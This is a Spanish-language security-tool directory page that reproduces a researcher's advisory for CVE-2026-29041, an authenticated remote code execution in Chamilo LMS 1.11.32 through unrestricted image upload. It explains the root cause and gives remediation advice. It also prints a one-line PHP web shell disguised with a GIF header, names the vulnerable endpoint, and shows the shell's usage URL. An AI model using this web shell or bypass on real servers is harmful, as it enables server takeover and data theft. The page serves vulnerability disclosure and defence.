Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-29041 — Hola, soy K. Este es mi primer CVE, que es una vulnerabilidad de Ejecución Remota de Código (RCE). Es el comienzo de mi viaje como investigador de seguridad. | Kitploit
Herramientas/GitHubGitHub/kx00007/cve-2026-29041
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y Educación
GitHubkx00007/cve-2026-29041

CVE-2026-29041

Hola, soy K. Este es mi primer CVE, que es una vulnerabilidad de Ejecución Remota de Código (RCE). Es el comienzo de mi viaje como investigador de seguridad.

Ver Repositorio
25hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-29041 — RCE autenticado mediante carga de archivos sin restricciones en Chamilo LMS 1.11.32

Ejecución remota de código autenticada en Chamilo LMS 1.11.32 mediante una validación incorrecta de la carga de archivos en el endpoint AJAX ck_uploadimage. Un estudiante con privilegios bajos puede subir un shell web PHP disfrazado de imagen, logrando el compromiso total del servidor.


📋 Resumen de la vulnerabilidad

CampoDetalles
ProductoChamilo LMS
Versión1.11.32 (Confirmada)
VulnerabilidadCarga de archivos sin restricciones con tipo peligroso (CWE-434)
ImpactoEjecución remota de código autenticada (RCE)
CVSS v3.18.8 (ALTA) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Autenticación requerida✅ Sí — Rol de estudiante (Privilegio bajo)
CWECWE-434: Carga sin restricciones de archivos con tipo peligroso
Descubierto porMENG HOKSENG

🧠 Detalles de la vulnerabilidad

Endpoint afectado

root@kitploit:~
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]

Archivo vulnerable: main/inc/ajax/document.ajax.php
Función vulnerable: ck_uploadimage

Análisis de la causa raíz

El manejador de carga realiza únicamente validación del tipo MIME utilizando la función mime_content_type() de PHP, que inspecciona los bytes mágicos del archivo (primeros bytes del contenido), no la extensión del archivo.

root@kitploit:~
// Lógica de validación vulnerable (simplificada)
$mime = mime_content_type($_FILES['upload']['tmp_name']);

if (!mimeAccepted($mime, ['image'])) {
    die("Tipo de archivo no válido");
}

// ❌ Sin validación de extensión
// ❌ Sin saneamiento del nombre de archivo
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);

Dos debilidades separadas se combinan en una cadena de explotación completa:

  1. Validación solo del tipo MIME — se evade anteponiendo bytes mágicos de imagen válidos (GIF89a) al código PHP
  2. Nombre de archivo original conservado — el servidor almacena el archivo usando el nombre controlado por el atacante, incluida la extensión .php, en un directorio accesible desde la web

Técnica de evasión

Un archivo malicioso se crea de la siguiente manera:

root@kitploit:~
GIF89a;<?php system($_GET['cmd']); ?>
  • mime_content_type() lee GIF89a → lo clasifica como image/gif → supera la validación
  • move_uploaded_file() lo guarda como shell.php en /app/upload/users/<id>/ → directamente ejecutable desde el navegador

💣 Prueba de concepto

Ejecute el exploit completo que inicia sesión como estudiante para realizar la carga de archivos automáticamente image Después de ejecutar el exploit completo en Python, podemos encontrar nuestro shell web subido en http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id image

🛡️ Impacto

La explotación exitosa de esta vulnerabilidad resulta en compromiso total del servidor desde una cuenta de nivel estudiante:

  • 🔴 Ejecución remota de código — comandos arbitrarios del sistema operativo mediante shell web
  • 🔴 Exfiltración de datos — acceso completo a las credenciales de la base de datos de la aplicación y a los archivos
  • 🔴 Movimiento lateral — pivote hacia la red interna desde el servidor comprometido
  • 🔴 Persistencia — capacidad de plantar puertas traseras en directorios accesibles desde la web
  • 🔴 Interrupción del servicio — modificación o eliminación del contenido de los cursos y de los datos de los usuarios

Impacto CIA: Pérdida completa de Confidencialidad, Integridad y Disponibilidad.


🔧 Remediación

▪ Aplicar una lista blanca estricta de extensiones de archivo Solo se deben aceptar extensiones de archivos de imagen explícitamente permitidas (por ejemplo, .jpg, .png, .gif). Los archivos subidos con extensiones ejecutables como .php, .phtml o .phar deben rechazarse independientemente del tipo MIME.

▪ No confiar únicamente en la validación del tipo MIME Las comprobaciones del tipo MIME mediante funciones como mime_content_type() no deben utilizarse como control de seguridad principal, ya que pueden evadirse con cabeceras de archivo manipuladas. La validación MIME solo debe utilizarse como comprobación secundaria.

▪ Almacenar los archivos subidos fuera de los directorios accesibles desde la web El contenido subido debe almacenarse en un directorio que no sea directamente accesible a través del servidor web. Si se requiere acceso público, los archivos deben servirse mediante un manejador controlado en lugar de acceso directo.

📄 Referencias

  • Sitio oficial de Chamilo LMS
  • CWE-434: Carga sin restricciones de archivos con tipo peligroso
  • OWASP: Carga de archivos sin restricciones
  • Calculadora CVSS v3.1

👤 Autor

MENG HOKSENG
Investigador de seguridad independiente


⚠️ Aviso legal

Este proyecto se publica únicamente con fines educativos y de investigación de seguridad autorizada. El autor no es responsable de ningún uso indebido o daño causado por este exploit. Obtenga siempre autorización escrita explícita antes de realizar evaluaciones de seguridad.

Descargar herramienta